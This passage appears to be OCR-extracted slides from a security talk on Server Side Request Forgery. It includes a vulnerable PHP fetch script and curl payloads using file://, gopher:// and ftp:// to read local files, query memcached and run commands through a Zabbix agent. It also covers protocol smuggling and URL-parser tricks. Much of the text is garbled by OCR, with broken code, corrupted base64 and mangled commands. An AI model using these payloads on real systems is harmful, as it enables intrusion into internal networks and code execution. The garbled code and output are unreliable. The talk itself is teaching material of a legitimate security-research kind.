SORF

Server Side Request Forgery
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What i1s SSRF?

Internal network discovery

Ports and services scanning
Local file reading

Any TCP connection to any server

Different wrappers

May lead to RCE



Simple example

E index.php
index.php
1 |<?php
2
3 $image - $_GET['url'];
4 $ch curl_init();
5 $optArray - array(
6 CURLOPT_URL $image,
7 CURLOPT_RETURNTRANSFER true
8 );
9 curl_setopt_array($ch, $optArray);
10 $imageData = base64_encode(curl_exec($ch));
11 curl_close($ch);
12 $src ‘data:;base64,'.$imageData;
13 echo '<img src="',$src,"'">"';
14
1l ™
Line 1, Column 1 Tab Size: 4 HTML

<img
src="data:;base64, AAABAAEAEBAAAAEAI
GET /?url=http://ya.ru/favicon.ico . ABOBAAAFgAAACgAAAAQAAAAIAAAAAE
A VAVAVAVAVAVAVAVAVAX@YAVAN =1 | IWAVAVANS  GAVY7AVAVAVAVAVAVAY
AAAAACgoKB+oKCg56CgoP+



http://ya.ru/favicon.ico

Scan network

Scan hosts and ports
(response answer/response time)

Intruder attack 3

Attack Save Columns

Results Positions Options

Filter: Showing all items |7

Request Payload Status Timeout | Length ¥ | Comment
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200 354
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200 354
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200 354
200 354
200 354

fa 200 |

Request | Response

Raw | Headers » » ‘ Render \
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Connection: close

<html>
<head»<title>504 Gateway Time-ouk</titlex</head>
<body bgDDlDIZ”white"}
ccenter><hl1>504 Gakteway Time-ouk</hl></center>
‘center> %
v

0 matches

Finished




Send E-mall

Use plain-text SMTP protocol for sending fake e-mails from
authorized servers
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Wrappers time!

Local file reading with file://

3. cyberpunkych@cyberpunkych-2: ~ (zsh)

cyberpunkych@cyberpunkych-2|~

curl "victim.com/?url=file:///etc/hosts"
<img src="data: ;base64,MTcyLjE3LjAuMwk4YWIQODKSMWEXYZEKMTI3L jAUMCAXCNXVY2FsaG9zdAo60jEIbGI ] YWxob
3NOIGLwN1i1lsb2NhbGhvc3QgaXAZLWxvb3BiYWNrCmZ1MDAGO jAJaXAZLWxvY2F sbmvVOCmZmMDAGO jAJaXAZLW1jYXNOcHI1Z
m14CmZmMDI60 3 EJaXAZLWF sbGSVZGVzCmZmMDI60 3 1) aXA2LWF sbHIvdXR1cnMKMT cyL jE3L jAuMgl tZW1j YWNoZWQgYTIKY
WYxN 3 VmMjMy IGNSYmVyMVStZIW1j YWNOZWR fMQoxNz IuMT cuMC4yCW11bWNhY2h1 ZF8x IGEyZGFmMTY1ZjIzMiBjeNJ 1cjFfb
WVY2F jaGVKXZEKMT cyL jE3L jAuMgl jeWd 1cjF FONVLY2F jaGVKXZEGYTIKYWY XN VmMjMyCg==">%
cyberpunkych@cyberpunkych-2|~

echo -n "MTcyLjE3LjAuMwk4YWIQODKSMWEXYZEKMTI3L jAUMCAXCONXVY2FsaG9zdAo60 EIbGI  YWxob3NOIGIwNi1sb
2NhbGhvc3QgaXAZLWxvb3B1iYWNrCmZ1MDAG0JAJaXAZLWxvY2F sbmVOCmZmMDAGO JAJaXAZLW1 j YXNOcHI 1Zm14CmZmMDIG0
FEJaXAZLWF sbGSvZGVzCmZmMDI60j LJaXA2LWF sbHIvdXR1cnMKMT cyL jE3L jAuMgl tZW13j YWNOZWQgYTIKYWY XN VmMjMy I
GNSYmVyMVOtZW1j YWNOZWR fMQOXNZIUMT cuMC4yCW11bWNhY2h1 ZF8XIGEYZGFmMTY1ZjIzMiBjeNJ 1cjFFONVEY2F jaGVkX
ZEKMTcyL jE3LjAuMgljeW)1cjFfbNVLY2F jaGVkXZEQYTIKYWYXNjVmMjMyCg==" | base64 -D
172.17.0.3 8ab48991alcl
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe®0::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.17.0.2 memcached a2daf165f232 cyberl_memcached_1
172.17.0.2 memcached_1 a2daf165f232 cyberl_memcached_1
172.17.0.2 cyberl_memcached_1 a2daf165f232

cyberpunkych@cyberpunkych-2|~



Wrappers time!

Access to Internal network:

root@segflt:~# nc -lvvp 80
listening on [any] 80 ...
192.168.186.1: inverse host lookup failed: Unknown host

connect to [192.168.186.167] from (UNKNOWN) [192.168.186.1] 50534
GET /blablabla HTTP/1.0

Host: 192.168.186.167 4. cyberpunkych@cyberpunkych-2:
cyberpunkych@cyberpunkych-2 |~
D curl "victim.com/?url=http://192.168.186.167/blablabla"

Test it wrapper enabled:

root@segflt:~# nc -lvwp 21

listening on [any] 21 ...

192.168.186.1: inverse host lookup failed: Unknown host

connect to [192.168.186.167] from (UNKNOWN) [192.168.186.1] 50545

1

4. cyberpunkych@cyberpunkych-2: d

cyberpunkych@cyberpunkych-2 |~
curl “"victim,com/?url=ftp://192.168.186.167/"



Wrappers time!

Clear-text TCP connection via gopher

root@segflt:~# nc -lvwp 21
listening on [any] 21 ...

192.168.186.1:

inverse host lookup failed: Unknown host

connect to [192.168.186.167] from (UNKNOWN) [192.168.186.1] 51028

STAT
STAT
STAT
STAT
STAT
STAT
END

cyber

4. cyberpunkych@cyberpunkych-2: ¢
evicted_unfetched 0

evictions 0

reclaimed 0

crawler_reclaimed 0

crawler_items_checked 0

lrutail_reflocked 0

punkych@cyberpunkych-2|~

curl “victim.com/?url=gopher://192.168.186.167:21/0f¥ELE:"



Wrappers time!

Clear-text TCP connection via gopher

4. cyberpunkych@cyberpunkych-2: ~ (zsh)

IR R al W AT qopher: //172.17.0.2:11211/1statsy
<img src="data: ;base64,U1RBVCBnaWQgMQOKU1RBVCB1cHRpbWUgN jkxDQpTVEFUIHRpbWUgGMTQ10TESMTgwMwOKU1RBYV
CB2ZXJzaWSuIDEuNC4yNQOKU1RBVCBsaW) 1 dmVudCAyL jAuMjEtc3RhYmx1 DQpTVEFUIHBvaWS0ZX] fc216ZSAZNAOKULIRBY
CBydXNhZ2VfdXN1ciAwL jAZMDAWMAOKU1RBVCBydXNhZ2Vfc31zdGVtIDAUMDMAMMDAWDQPTVEFUIGN1cn] fY29ubmVjdGlvb
nMgMTANCLNUQVQgdGO@YWx fY29ubmVjdGlvbnMgMTENCLNUQVQgY29ubmVjdGlvb19zdHI1Y3R1cmVzZIDEXDQpTVEFUIHI 1 ¢
2VydmVkX2ZkcyAyMAGKU1RBVCB jbWR fZ2VOIDANCLNUQVQgY21kX3N1dCAWDQp TVE FUIGNtZFOmbHVZzaCAWDQpTVEFUIGNtZ
FO90b3VjaCAWDQpTVEFUIGd1 dFS0oaXRzIDANCLNUQVQGZ2VOX21pc3N1 cyAwDQpTVE FUIGR1bGVOZVItaXNzZXMgMAGKU1RBV
CBkZWx1dGVfaGlOcyAwDQpTVEFUIGLuY3J fbWlzc2VzIDANCLNUQVQgaWs jc190aXRzIDANCLNUQVQQZGVjcltaXNzZXMgM
AOKU1RBVCBKZWNyXZhpdHMgMAGKU1RBVCB j YXNfbW1 zc2VzIDANCLNUQVQgY2FzX2hpdHMgMAGKULIRBVCB j YXNfYmFkdmFsI
DANCLNUQVQgdG91Y2ZhfaGlOcyAwDQpTVEFUIHRvAWNOX21pc3N1 cyAwDQpTVEFUIGF1dGhfY21kcyAwDQpTVEFUIGF1dGhfZ
XJyb3JzIDANCLNUQVQgYn1OZXNfcmVhZCA3DQpTVEFUIG]5dGVZzX3dyaXROZW4gMARKULIRBVCBsaWlpdFotYXhieXR1cyA2N
ZEwODg2ZNAGKU1RBVCBhY2N1 cHRpbmd fY29ubnMgMQOKU1RBVCBSaXNOZW5 fZG1lzYWI sZWR fbnVEIDANCLNUQVQgdGL tZVOpb
19saXNOZW5fZG1zYWJI sZWR f dXMgMAGKU1RBVCBOaH) 1 YWRZIDQNCLNUQVQgY29ub195aWVsZHMgMAOKU1RBVCBOYXNoX3Bvd
2VyX2x1dmVsIDEZDQpTVEFUIGhhcZhfYn1@ZXMgNTIOM]jg4DQpTVEFUIGhhcZhfaXNfZXhwYWSkaWSnIDANCLNUQVQgbWFsb
G93X2ZhaWxzIDANCLNUQVQgYn10ZXMgMAGKU1RBVCB jdXJyX210ZW1zIDANCLNUQVQgdGO0YWx faXR1bXMgMAGKUIRBVCBle
HBpcmVkX3VuZmVY2h1ZCAWDQp TVE FUIGV2aWNOZWR f dWSmZXR jaGVKIDANCLNUQVQg@ZXZpY3Rpb25zIDANCLNUQVQgcmVjb
GFpbWVKIDANCLNUQVQgY3Jhd2x1cl9yZWNs YW1 tZWQgMAGKU1RBVCB jcmF3bGVyX210ZW1zX2NoZWNrZWQgMAOKU1RBVCBsC
NVOYWLsX3J1ZmxvY2t1ZCAWDQPFTKQNCg==">
cyberpunkych@cyberpunkych-2 |~

echo "U1RBVCBwaWQgMQOKU1RBVCB1cHRpbWUgN jkxDQpTVEFUIHRpbWUgMTQ10TE SMTgwMwOKU1RBVCB2ZXJzaWOuIDEu
NC4yNQOKU1RBVCBsaW] 1dmVudCAyL jAuMj Etc3RhYmx1 DQpTVEFUIHBvaAWSOZX] fc216ZSAZNAGKUIRBVCBYdXNhZ2VfdXNL
ciAwL jAZMDAWMAOKU1RBVCBYdXNhZ2Vfc31zdGV+IDAUMDMWMDAWDQp TVEFUIGN1cnl fY29ubmVjdGlvbnMgMTANCLNUQVQg
dGOOYWx fY29ubmV jdG1lvbnMgMTENCLNUQVQgY29ubmVjdGlvbl9zdHI1Y3R1cmVzIDEXDQpTVEFUIHI 1 c2VydmVkX2ZkcyAy
MAGKU1RBVCB jbWRfZ2VOIDANCLNUQVQgY21kX3N1dCAWDQpTVE FUIGNtZFOmbHVZzaCAWDQp TVEFUIGNtZF99b3VjaCAwDQpT
VEFUIGd1dF90aXRzIDANCLNUQVQgQZ2V@X21pc3NL cyAwDQpTVEFUIGR1bGVOZVItaXNzZXMgMADKU1RBVCBkZWX1dGVfaGlo



Wrappers time!

Clear-text TCP connection via gopher

4. cyberpunkych@cyberpunkych-2: ~ (zsh)

QVQgY3Jhd2x1cl9yZWNs YW1 tZWQgMAGKU1RBVCB jcmF3bGVyX210ZW1zX2ZNoZWNrZWQgMARKU1RBVCBscnVOYWL sX3J 1 Zmxv
Y2t1ZCAWDQpFTKQNCg==" | baset4 -D
STAT pid 1

STAT uptime 691

STAT time 1459191803

STAT version 1.4.25

STAT libevent 2.0.21-stable
STAT pointer_size 64

STAT rusage_user 0.060000
STAT rusage_system 0.030000
STAT curr_connections 10

STAT total_connections 11
STAT connection_structures 11
STAT reserved_fds 20

STAT cmd_get ©

STAT cmd_set 0

STAT omd_flush @

STAT cmd_touch @

STAT get_hits ©

STAT get_misses @

STAT delete_misses 0

STAT delete_hits 0

STAT incr_misses 0

STAT incr_hits 0

STAT decr_misses 0



Wrappers time!

2. cyberpunkych@cyberpunkych-2: ~ (zsh)
curl "192.168.99.100/7url=gopher://172.17.0.4:10050/1system. run\[1s\]"

ST B Jeris Ty ofo B 0T L0 VK ) YRAF TAAAAAAAAAGI pbgpib290CmR1dgp 1dGMKaG9tZQpsaWIKbGLiNjQKbGSzdCtmb3VuZAptZWRp

QptbnQKbX1zcWwtcmOvdClwdyS50eHQKb3BOCnByb2ZMKcm3vdApzYmLuCnN1bGludXgKc3J2CnNScwp@bXAKAXNyCnZhcg=
cyberpunkych@cyberpunkych-2 |~

echo -n "WkJYRAF1AAAAAAAAAGIpbgpib290CmR1dgpldGMKaGOtZQpsaWIKbGliNjQKbGOzdCtmb3VUZAptZWRpYQptbnQKbX1z
cwtamSvdClwdyS0eHQKb3BOCnBybZMKcmOvdApzYmluCnN1bGludXgKc3J2CnNScwp@bXAKdXNyCnZhcg==" | base64 -D
ZBXDubin
boot
dev

etc

home

lib

1ib64

lost+found

media

mnt
mysql-root-pw. txt
opt

- Zabbix RCE via SSRF!

usr

o
vary

cyberpunkych@cyberpunkych-2 |~



Protocol smuggling

| % raw bytes

> db.copyDatabase("[HN2ISENBIBN ", test','localhost:8000")

$ nc -1 8000 | hexdump -C
00000000 3b 00 00 00 28 00 00 00 000000 00d4 070000 [;eec(eneenenenn |

00000020 65 6d 2e 6e 616d 65 73 70 61 63 65 73 00 00 00 |em.namespaces...|
Communicate with memcached:

> db.copyDatabase(“\nstats\nquit”,’test’,'localhost:11211")




Protocol smuggling

Totally a new era of SSRF:

e Exploit the Unexploitable - Smuggling SMTP over TLS SNI

https://127.0.0.1 %0D%OAHELO orange.tw%0D%OAMAIL FROM..:25/
$ tcpdump -i lo -qw - tcp port 25

>> ...5./.0.,.=.7.8.2....0.... 0...+127.0.0.1

500 5.5.1 Command unrecognized: ...5./.0.,.=.7.8.2..0.+127.0.0.1
>> HELO orange.tw

250 ubuntu Hello localhost [127.0.0.1], please meet you
>> MAIL FROM: <admin@orange.tw>

250 2.1.0 <admin@orange.tw>... Sender ok



Abusing URL Parsers

>cURL
libcurl

http://foo@evil.com:80@google.com/

NodeJS URL

=1d URI <

Go net/url
PHP parse_url

Ruby addressable



Abusing URL Parsers

» PHP readfile

http://google.com#@évil.coﬁ/

PHP parse_url



Obfuscation

Alternate IP encoding




Obfuscation

Sometimes it also works!




Real lite

_ § Burp Suite Professional v1.6.32 - licensed to Yandex, LLC [5 user license]
Burp Intruder Repeater Window Help

Scanner Repeate| Sequencer Alerts

Target: https://nebogame.mail.ru | #| |7 |

Raw | Params | Headers | Hex | Raw | Headers | Hex |
.conf
:42:47 GMT

arset=0T

,en-0535g=0
, br

var/log/zabbix/zabbix
LogPileSize=0
Server=meye.2rll.net
Hostname=mm-pr.2rll.nekt
BnableRemoteCommands=i
Timecut=30

v

omuenes (2] (<] (5] (5 #115748 IESNTRTY https://imgur.com/vidgif/url

® Resolved (Closed)
March 12, 2016 10:09am +0300

Imgur

Command Injection, Denial of Service, Information

Disclosure, Remote Code Execution

$2,000




Conclusion

From SSRF to RCE
Could be anywhere, not only web (OpenOffice)
SSRF is pretty nice backdoor to your network

Wrappers could be evll



